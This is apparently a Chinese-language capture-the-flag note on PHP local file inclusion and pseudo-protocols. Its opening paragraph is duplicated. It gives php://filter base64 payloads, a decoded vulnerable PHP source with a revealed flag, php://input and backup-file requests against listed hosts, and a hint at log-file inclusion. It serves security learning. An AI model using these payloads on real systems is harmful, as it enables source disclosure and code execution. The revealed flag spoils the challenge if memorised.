文件包含,伪协议
在我们进行渗透测试的过程中,通常都是用黑盒测试和社工等方法,时间周期长、难度大。
但如果web目标服务器存在任意文件读取,任意文件下载,我们就可以进行白盒测试。
在进行白盒测试时,存在文件包含的话,我们在进行文件包含可执行文件时,可执行文件会直接执行返回执行结果,不能返回源码。
此时我们可以适用读文件的操作进行可执行文件的文件读取。
?file=php://filter/convert.base64-encode/resource=index.php
文件包含,伪协议
在我们进行渗透测试的过程中,通常都是用黑盒测试和社工等方法,时间周期长、难度大。
但如果web目标服务器存在任意文件读取,任意文件下载,我们就可以进行白盒测试。
在进行白盒测试时,存在文件包含的话,我们在进行文件包含可执行文件时,可执行文件会直接执行返回执行结果,不能返回源码。
此时我们可以适用读文件的操作进行可执行文件的文件读取。
?file=php://filter/convert.base64-encode/resource=index.php
伪协议:
readfile()
file()
file get contents()
chinalover.sinaapp.com/web7/index.php
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=index.php
PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
<html>
<title>asdf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:nctf{edulcni_elif_lacol_si_siht}
?>
</html>
106.12.37.37:10008/index.php.bak
106.12.37.37:10008/?key=&flag=
106.12.37.37:10008/?key=123&flag=php://input
日志文件:
cd /var/log
www.youtube.com/watch?v=dlh0ogYy9ys